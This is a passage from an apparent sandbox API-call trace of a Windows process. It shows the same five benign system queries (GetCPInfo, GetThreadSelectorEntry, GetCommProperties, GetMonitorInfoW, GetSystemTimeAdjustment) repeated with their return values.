out: lpCPInfo=0x18fe84) returned 1 [0034.028] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.028] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.028] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.028] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.028] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.028] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.028] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.028] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.028] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.028] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.028] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.028] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.028] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.035] GetCommProperties (in: hFile=0x0, 